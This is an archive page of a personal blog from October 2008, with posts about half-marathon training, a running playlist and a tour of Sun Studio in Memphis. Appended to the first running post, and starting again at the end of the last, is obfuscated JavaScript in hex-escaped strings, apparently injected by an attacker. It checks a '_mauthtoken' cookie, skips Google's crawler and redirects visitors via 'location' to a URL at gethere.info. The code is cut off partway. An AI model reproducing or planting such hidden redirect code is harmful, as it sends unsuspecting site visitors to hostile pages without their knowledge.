Archive for October, 2008

Emilie: This running thing is getting oooold

So I would like to be typing about how great this running is going for me and how much I look forward to it, but that would be a major lie.  Now, I do like the way I feel after I run and knowing that this is good for weight loss and over all health is great too.  Buuut…I would rather be at home reading a good book and snacking on some good food.  BAH!  This is hard!  It definitely helps to have Jodi training for this marathon,too because it keeps me going on the days I want to skip a run.  I know the next day she’ll ask how it went and I can’t lie about it!

So the moral of this blog is…hmm…This may not be easy or even CLOSE to fun, but it’s something I need to do for me. It will make me healthier, leaner and I’ll be so happy the day I throw myself through that finish line!

So today’s a day off of running for me, but tomorrow I’ll be hitting the track.  Maybe I’ll catch the running bug by marathon day!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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October 28, 2008 at 8:55 am Leave a comment

Song of the Day

Just a fun song while driving….

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October 27, 2008 at 8:33 am Leave a comment

Emilie: My Running playlist

Ok so here is my running play list that I promised! A few of these songs (like the Fall Out Boy song) may not be for little ears, but that’s why I play it with ear buds in! Just make sure you don’t blast it and then hear something you don’t want your little one to hear!

1 – Natasha Bedingfield – Angel (she opened up for New Kids on the Block and she can SING)
2 – Estelle (with Kanye West) – American Boy
3 – Neyo – Closer
4 – Jason Mraz – I’m Yours
5 – Citizen Cope – Let the Drummer Kick
6 – Jordin Sparks – One Step at a Time
7 – New Kids on the Block – Single
8 – Paramore – That’s What You Get
9 – Toni Braxton – Man Enough for Me
10 – Fall Out Boy – Of All the Gin Joints in the World
11 – 10,000 Maniacs – These are Days
12 – John Mayer – Free Fallin’

I want to make Natasha Bedingfield’s song “Angel” the iPod pick of the week on Friday.  It’s a great song. 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October 23, 2008 at 7:31 am 2 comments

Emilie: Week 2 running

Hmm.  I need to talk to Dawn Braud about my newest problem.  I keep getting headaches after I run, but it takes about 2 hours after I run for the headache to come on.  I feel like I’m drinking tons of water, but maybe I’m not!  Anyway I started off week 2 running and I ran the exact distance I ran last week!  I’m going to have to push myself for 5 – 10 laps so I can start running farther!  I’m putting together a good running playlist that I will share once I’ve typed it up!  Any ideas about the headaches I’m getting??? (By the way…did you see my New Kids on the Block concert pics??? The concert was AWESOME!)

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October 21, 2008 at 7:24 am 1 comment

jodi – training troubles

Whoa!  What have i signed myself up for??  My legs are killing me.  My training did not go great this week.  I struggled.  Here’s what happened:

I was pre-monthly visitor this past week.  I was tired, retaining fluids, and my “girls” were a tad larger than normal.  The usual since I was 12.  But, to RUN and feel like RUNNING with this!!  Holy Moly. 

Another BIG problem – we are scheduled to run on the 17th of January.  The same time of the month that all the above mentioned will be with me.  HOW AM I GOING TO DO THIS???

That’s what I’m worried about.  Oh, and by the way – I got a true glimpe (from the car) at what 13 miles looks and feels like.  It ain’t easy or quick.

It’s a good thing I’m stubborn.  Otherwise I might be crying like a baby right now.  No way I’ll give up.  But I am scared. 

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October 19, 2008 at 9:53 pm 1 comment

Sam-Sun Studio

Gotta blog about the coolest tour I’ve ever taken.  I was in Memphis this past weekend.

I walked to Sun Studios Saturday just to take pics.  When I got there I found they were open so I went in.  It’s really 2 buildings…the actual studio and a gift/snack shop next door.  It’s not your typical Elvisploitational gift shop.  It’s all geared towards Sun and the early years.

Turns out this used to be a small diner back in the day.  It was connected to the studio by a door.  The studio was not air conditioned but the restaurant was, so in between takes this is where the artists hung out.

Since it was all open, I paid my bucks for the tour.  One cool thing was that the shop workers were also the tour guides…all mid twenty somethings with piercings and tats and funky clothes…not what you’d expect.  But I found out they were all there because they love what it’s all about: early Elvis, Sun, history and just the music in general.

The tour started upstairs and it was a display of the early equipment Sam Phillips used to record anything and everything.  In fact his business motto in the beginning was that he’d record anything, anywhere, any time.  He had portable recorders and monster Ampex 1-track machines in house. 

He was a pop radio DJ but hated pop music and wanted to record blues artists.  To make ends meet he’d haul his portable recorders to talent shows, pageants…anything.  They had acetates on display from all of these things. 

The guide was playing us early Rufus Thomas, Prisonaires, Howlin’ Wolf and everything recorded at Sun.  She said Sam Phillips actually considered Howlin’ Wolf his biggest accomplishment…not Elvis. 

The display had Elvis’ HS diploma…the real thing…and the jacket he wore on his first ever TV appearance on the Dorsey Brothers’ Show.  They had his guitar case and even a HS talent program in which he was listed 16th on the bill as Elvis Prestley and a guitar player.  This was just plain cool.

Then we went back downstairs into the actual studio and it was THE ACTUAL STUDIO.  You may consider it sacrilege, but it was like being in the Lincoln booth at Ford Theatre or something like that.  I was actually here…not on the other side of the ropes staring in.  It was a booth, a front office and a large studio.  It was all dark and kinda dinghy because the flooring, acoustic tiles and lights were all the original put in by Phillips himself when he started.  WOW!

There were instruments all over because it’s still used as a studio at night.  They had 2 pianos…one with a cigar burn on the keys from Jerry Lee Lewis.  The drum kit was the one used by U2 when they recorded some of Rattle and Hum in the studio.  And, no one said “please don’t touch”.  You could touch, photo, feel, hold, sit…it’s like a tour/museum should be: here’s the history, now feel it.  You even get to pose and touch the mic Elvis and everyone used for the early hits…unbelievable.

Then we got more insight and music.  Pics of the Million Dollar Quartet and how it happened: Carl Perkins was in the studio to record the followup to Blue Suede Shoes, Jerry Lee Lewis was there because he was just a session player, Elvis was in town so he stopped by to visit and Sam Phillips called Johnny Cash to come over to hang.  Sam then called the newspaper to come take a photo of the 4 together.  The famous photo popped up in the paper the next day with the headline “Million Dollar Quarter”.  And, while they were together he ran the recorder without telling them.  In fact he kept it a secret until after Elvis’ death.  The Million Dollar Sessions CD is what came of it…it’s starts and stops and stories and jamming.

Found out that Johnny Cash wove a dollar bill in his guitar strings (on the neck) to give I Walk The Line that snare drum sound.  Listen to it again…I did and it’s not a drum, it’s a piece of paper/dollar bill in the acoustic guitar neck.  The guide even showed us how it was done and when she strummed in front of me I was floored. 

Speaking of paper making musical sounds…when Jackie Brenston and his Delta Cats (one of whom was Ike Turner) drove up to record from down in Mississippi, their guitar amp fell off the top of the car and the cone broke.  Sam Phillips crammed some newspaper inside the amp to hold the cone in place and tried it out.  They were amazed that it gave the electric guitar a distorted sound.  So, the group went ahead with plans to record, laid down the classic Rocket 88 and basically introduced distorted guitar to the world.

One other tidbit…seems Sam’s business partner/receptionist Marion Keisker was the one who technically discovered Elvis.  He came in, paid $3 and recorded “My Happiness” in 1953.  She thought his voice was great and save a copy for Sam to listen to.  When he later heard it he dismissed it.  Elvis kept coming back and bugging them and then a year later in ’54 Phillips paired him with Scotty Moore and Bill Black and gave them one shot.  They spent numerous takes with slow gospel songs and Phillips told them it stunk, take a break in the restaurant next door and come back for one last try.  When they came back Elvis launched into “That’s Alright Mama” and that’s when Phillips asked him why he’d been holding back and he signed him to a 3 year contract.  He sold the contract to RCA for $35,000 after 17 months because he didn’t have the money to promote Elvis the way he needed promoting.  Phillips then used the money to promote Carl Perkins’ “Blue Suede Shoes”.

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October 19, 2008 at 6:18 pm Leave a comment

Emilie: Running and Fever

So I ran for my second time these week a couple of days ago and it was great!  It was the ratio run (if you don’t know what I’m talking about click on the following link to check out my running schedule – http://www.murphysamandjodi.com/index.cfm?md=newsroom&tmp=detail&articleID=4467 ) and I’m really worn out!  I was running a fever yesterday and had to leave work early.  I went home and SLEPT and I feel better now, but I’m scared to run today.  I think for the first 4 weeks that I’m working on my “base” one day skipped will help me more than it will harm me.  Let my body recoup.  I’m eating better and running and guess what…I feel better about myself!  It’s amazing how the works! :o)var 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